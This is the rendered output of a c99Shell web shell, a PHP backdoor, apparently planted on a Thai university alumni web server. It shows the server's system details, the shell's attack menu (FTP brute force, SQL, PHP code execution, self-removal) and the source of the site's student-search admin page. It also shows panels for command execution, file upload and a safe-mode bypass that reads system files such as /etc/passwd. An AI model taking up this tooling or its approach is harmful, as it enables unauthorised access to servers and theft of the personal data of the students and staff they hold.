!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/ealumni/admin/   drwxr-xr-x
Free 52 GB of 127.8 GB (40.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     searchStudent.php (4.21 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";

showHeader();

include_once 
"../class/clsStudentMaster.php";
include_once 
"../class/clsPrefix.php";

$conn = new Connection(); 
$oSm = new StudentMaster();
$oPf = new Prefix();
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<table width="740" border="0" align="center" cellpadding="0" cellspacing="0">    
    <tr>
        <td><br><fieldset>
            <legend><font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><a href="adminIndex.php?mm=1">นักศึกษา</a> <img src="../picture/ico3.gif" align="absmiddle" border="0"> ข้อมูลนักศึกษา</font></legend>
            <label><div align="center"><br><form name="pc" method="post" action="<?php echo $PHP_SELF;?>"><table width="700" align="center" border="0" cellpadding="0" cellspacing="1">
                <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_4"];?>"> 
                    <td height="22" colspan="3" align="center">
                    <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><b>รหัสนักศึกษา : </b></font><input type="text" name="studentCode" value="" size="10" maxlength="10">
                    <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><b>ชื่อนักศึกษา : </b></font><input type="text" name="studentName" value="" size="10">
                    <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><b>ชื่อสกุลนักศึกษา : </b></font><input type="text" name="studentSurname" value="" size="10">&nbsp;<input type="submit" name="search" value="ค้นหา">&nbsp;<input type="reset" name="clear" value="เคลียร์ข้อมูล"></td>
                </tr>
                <tr>
                    <td height="22" colspan="3">&nbsp;</td>
                </tr>
                <tr>
                    <td colspan="3" align="center"><table width="550" border="1" cellspacing="0" cellpadding="1" bordercolor="<?php echo $GLOBALS["COLOR_BORDER_TABLE_1"];?>">
                        <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_1"];?>">
                            <td colspan="2" align="center"><font size="3" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>รายชื่อนักศึกษา</strong></font></td>
                        </tr>
                        <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_2"];?>">
                            <td width="98" height="22" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>รหัสนักศึกษา</strong></font></td>
                            <td width="380" height="22" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>ชื่อ-นามสกุล</strong></font></td>
                        </tr>
<?php
                        
if(($studentCode != "") || ($studentName != "") || ($studentSurname != "")) {
                            
$i 0;
                            
$oSm->RSStudentMasterByStCdAndNmAndSm($studentCode$studentName$studentSurname);
                            while(
$oSm->GetRecord()) {
                                
$oPf->SearchByKey($oSm->prefixId);
                                
$oPf->GetRecord();
                                
                                if((
$i%2) == 0)
                                    echo 
"<tr>";
                                else
                                    echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TABLE_3"]."\">";
?>
                            <td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oSm->studentCode;?></font></td>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><a href="editStudentMB.php?studentId=<?php echo $oSm->studentId;?>"><?php echo $oPf->prefixName.$oSm->studentName.' '.$oSm->studentSurname;?></a></font></td>
                        </tr>
<?php
                                $i
++;
                            }
                            
                            if(
$i==0){
?>
                        <tr>
                            <td colspan="2" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">** ไม่ปรากฏรายการในฐานข้อมูล **</font></td>
                        </tr>
<?php                            
                            
}
                        }
                        else {
?>
                        <tr>
                            <td colspan="2" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">** ไม่ปรากฏรายการในฐานข้อมูล **</font></td>
                        </tr>
<?php
                        
}
?>
                        <tr>
                            <td><input type="button" name="back" value="กลับเมนูหลัก" onClick="location.href='adminIndex.php?mm=1' "></td>
                            <td align="right"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">รวม <?php echo $i;?> รายการ</font></td>
                        </tr>    
                    </table></td>
                </tr>
            </table></form></div><br></label>
        </fieldset><br><font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อนักศึกษาเพื่อดูข้อมูลประวัติปัจจุบันนักศึกษา<br></font><br></td>
    </tr>        
</table>
<?php
$oSm
->Destroy();
$oPf->Destroy();
$conn->Disconnect();
showFooter();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.01 ]--